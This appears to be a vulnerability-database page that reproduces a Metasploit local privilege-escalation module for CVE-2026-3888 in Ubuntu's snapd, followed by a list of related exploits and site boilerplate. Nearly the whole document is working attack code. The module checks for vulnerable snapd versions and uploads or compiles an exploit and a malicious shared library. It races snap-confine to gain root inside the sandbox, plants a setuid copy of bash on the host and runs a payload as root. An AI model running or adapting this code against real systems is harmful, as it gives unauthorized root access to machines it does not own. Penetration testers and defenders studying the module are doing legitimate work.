Lucene search
+L

Local Privilege Escalation in snapd

🗓️ 17 Mar 2026 00:00:00Reported by msutovsky-r7, Qualys Security Advisory TeamType 
metasploit
 metasploit
🔗 www.rapid7.com👁 4 Views

Local privilege escalation in snapd via race condition in snap-confine.

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
web-management-server-compromise-assessment
12 Jul 202619:48
–githubexploit
githubexploit
GithubExploit
Exploit for Privilege Chaining in Canonical Ubuntu_Linux
6 Oct 202616:07
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-3888
12 May 202601:20
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-3888
18 Mar 202615:33
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-3888
20 Mar 202608:30
–githubexploit
githubexploit
GithubExploit
Exploit for Missing Authentication for Critical Function in Nginxui Nginx_Ui
7 May 202621:12
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-3888
31 Mar 202613:46
–githubexploit
githubexploit
GithubExploit
Exploit for Missing Authentication for Critical Function in Nginxui Nginx_Ui
7 May 202621:12
–githubexploit
attackerkb
attackerkb
CVE-2026-3888
17 Mar 202614:02
–attackerkb
avleonov
Information Security Automation
March Linux Patch Wednesday
30 Mar 202620:00
–avleonov
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html

  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Kernel
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Post::Linux::Compile
  prepend Msf::Exploit::Remote::AutoCheck

  SNAP_CONFINE_PATH = '/usr/lib/snapd/snap-confine'.freeze

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Local Privilege Escalation in snapd',
        'Description' => %q{
          The `snap-confine` in some Ubuntu versions is vulnerable to race condition, when setting up snap sandbox and creating mimic of /usr/lib/x86_64-linux-gnu.
          The snapd package is vulnerable up to version 2.74.1+ubuntu26.04.3 - however, each minor version has its own patch.
          The time window between creating bind-mounted copies of real libraries and copying them into sandbox /usr/lib/x86_64-linux-gnu allows the attacker to take control of content of those libraries by recreating /tmp/.snap folder.
          This folder is owned by root, but it's auto-deleted after 30 days without activity (by default on Ubuntu 24.04+).
          The attacker can recreate this folder once it is deleted and take over the sandboxed libraries.
          After gaining root inside sandbox, it can escape the sandbox by copying setuid binary into host filesystem.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'msutovsky-r7', # msf module
          'Qualys Security Advisory Team' # original PoC, analysis
        ],
        'Platform' => [ 'linux' ],
        'Arch' => [ ARCH_CMD ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Targets' => [[ 'Auto', {} ]],
        'Privileged' => true,
        'References' => [
          [ 'URL', 'https://blog.qualys.com/vulnerabilities-threat-research/2026/03/17/cve-2026-3888-important-snap-flaw-enables-local-privilege-escalation-to-root'],
          [ 'URL', 'https://cdn2.qualys.com/advisory/2026/03/17/snap-confine-systemd-tmpfiles.txt'],
          [ 'CVE', '2026-3888']
        ],
        'DisclosureDate' => '2026-03-17',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [EVENT_DEPENDENT],
          'SideEffects' => [ARTIFACTS_ON_DISK]
        }
      )
    )
    register_advanced_options [
      OptString.new('WRITABLEDIR', [ true, 'A directory where we can write files', '/tmp' ]),
      OptInt.new('WAITFORCLEANUP', [ true, 'An amount of time to wait for .tmp cleanup ', 30 * 86400 ])
    ]
  end

  # Simplify pulling the writable directory variable
  def base_dir
    datastore['WRITABLEDIR'].to_s
  end

  def snapd_package_version
    version = cmd_exec("dpkg-query -W -f='${Version}' snapd 2>/dev/null").to_s.strip
    version.empty? ? nil : version
  end

  # Selects the known fixed snapd version for the detected Ubuntu release.
  def fixed_version_for(ubuntu_version)
    fixed_snapd_versions = {
      '26.04' => '2.74.1+ubuntu26.04.3',
      '25.10' => '2.73+ubuntu25.10.1',
      '24.04' => '2.73+ubuntu24.04.2',
      '22.04' => '2.73+ubuntu22.04.1',
      '20.04' => '2.67.1+20.04ubuntu1~esm1',
      '18.04' => '2.61.4ubuntu0.18.04.1+esm2',
      '16.04' => '2.61.4ubuntu0.16.04.1+esm2'
    }
    fixed_snapd_versions.each do |release, fixed|
      return fixed if ubuntu_version >= Rex::Version.new(release)
    end
    nil
  end

  def missing_prerequisites
    required_snap_paths = [
      '/snap/core22/current',
      '/snap/firefox/current'
    ]
    required_snap_paths.each { |path| return true unless directory?(path) }
    false
  end

  def check
    sysinfo = get_sysinfo

    return CheckCode::Safe('CVE-2026-3888 default-configuration exploitation targets Ubuntu') unless sysinfo[:distro].to_s =~ /ubuntu/i

    return CheckCode::Unknown('Could not determine the Ubuntu version') unless sysinfo[:version] =~ /(\d+\.\d+)/

    ubuntu_version = Rex::Version.new(::Regexp.last_match(1))

    return CheckCode::Safe("snapd does not appear to be installed (#{SNAP_CONFINE_PATH} not found)") unless file_exist?(SNAP_CONFINE_PATH)

    installed_version = snapd_package_version
    return CheckCode::Unknown('Could not determine the installed snapd package version') if installed_version.nil?

    fixed_version = fixed_version_for(ubuntu_version)
    return CheckCode::Unknown("No known fixed snapd version for Ubuntu #{ubuntu_version}") if fixed_version.nil?

    return CheckCode::Safe("snapd #{installed_version} is patched (CVE-2026-3888 fixed in #{fixed_version})") unless cmd_exec("dpkg --compare-versions '#{installed_version}' lt '#{fixed_version}' && echo vulnerable").to_s.include?('vulnerable')

    return CheckCode::Safe("snapd #{installed_version} is vulnerable, but required exploit prerequisites are missing") if missing_prerequisites

    CheckCode::Appears("Ubuntu #{ubuntu_version} with vulnerable snapd #{installed_version} (fixed in #{fixed_version})")
  end

  def exploit
    if !datastore['ForceExploit'] && is_root?
      fail_with(Failure::None, 'Session already has root privileges. Set ForceExploit to override')
    end

    arch = kernel_arch

    # Supporting only x64 because I don't have Ubuntu 24.04+ machine other than x64
    fail_with(Failure::BadConfig, 'Currently supports only x64') unless arch == ARCH_X64

    fail_with(Failure::BadConfig, "#{base_dir} is not writable") unless writable?(base_dir)

    writable_dir = base_dir

    exploit_file = "#{writable_dir}/#{Rex::Text.rand_text_alpha_lower(6..12)}"
    lib_file = "#{writable_dir}/#{Rex::Text.rand_text_alpha_lower(6..12)}.so"

    if live_compile?
      exploit_c = exploit_data('CVE-2026-3888', 'cve-2026-3888.c')
      exploit_lib_c = exploit_data('CVE-2026-3888', 'librootshell.c')
      vprint_status('Compiling exploit on the system')
      upload_and_compile(exploit_file, exploit_c)
      vprint_status('Compiling lib on the system')
      upload_and_compile(lib_file, exploit_lib_c, '-nostdlib -static -Wl,--entry=_start')
    else
      vprint_status('Uploading exploit to the system')
      upload_and_chmodx(exploit_file, exploit_data('CVE-2026-3888', 'cve-2026-3888-x64'))
      vprint_status('Uploading malicious lib to the system')
      upload_and_chmodx(lib_file, exploit_data('CVE-2026-3888', 'librootshell.so'))
    end

    vprint_status('Getting root privilege inside snap sandbox')

    # get LPE inside snap sandbox
    # we might need to wait for 30 days
    cmd_exec("#{exploit_file} #{lib_file}", nil, datastore['WAITFORCLEANUP'])

    vprint_status('Trying to create setuid binary from sandbox')

    @setuid_escalation_binary = Rex::Text.rand_text_alpha_lower(6..12)

    copy_res = cmd_exec(%(echo "cp /bin/bash /var/snap/firefox/common/#{@setuid_escalation_binary}; chmod 04755 /var/snap/firefox/common/#{@setuid_escalation_binary}" | env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine  --base core22 snap.firefox.hook.configure /usr/lib/snapd/snap-confine))

    fail_with(Failure::PayloadFailed, "Failed to copy setuid file from sandbox: #{copy_res}") unless file_exist?("/var/snap/firefox/common/#{@setuid_escalation_binary}")

    register_file_for_cleanup(exploit_file)
    register_file_for_cleanup(lib_file)

    vprint_status('Running payload')

    create_process("/var/snap/firefox/common/#{@setuid_escalation_binary}", args: ['-p', '-c', payload.encoded])
  end

  def on_new_session(session)
    if session.type.eql?('meterpreter')
      session.core.use('stdapi') unless session.ext.aliases.include?('stdapi')
      begin
        session.fs.file.rm('/tmp/snap-private/snap.firefox/tmp/.snap')
        session.fs.file.rm("/var/snap/firefox/common/#{@setuid_escalation_binary}")
      rescue StandardError
        vprint_status('Failed to remove some of files, might break the target')
      end
    else
      session.shell_command_token('rm -rf /tmp/snap-private/snap.firefox/tmp/.snap')
      session.shell_command_token("rm /var/snap/firefox/common/#{@setuid_escalation_binary}")
    end
  ensure
    super
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Mar 2026 00:00Current
CVSS 3.17.8
EPSS0.00457
SSVC
4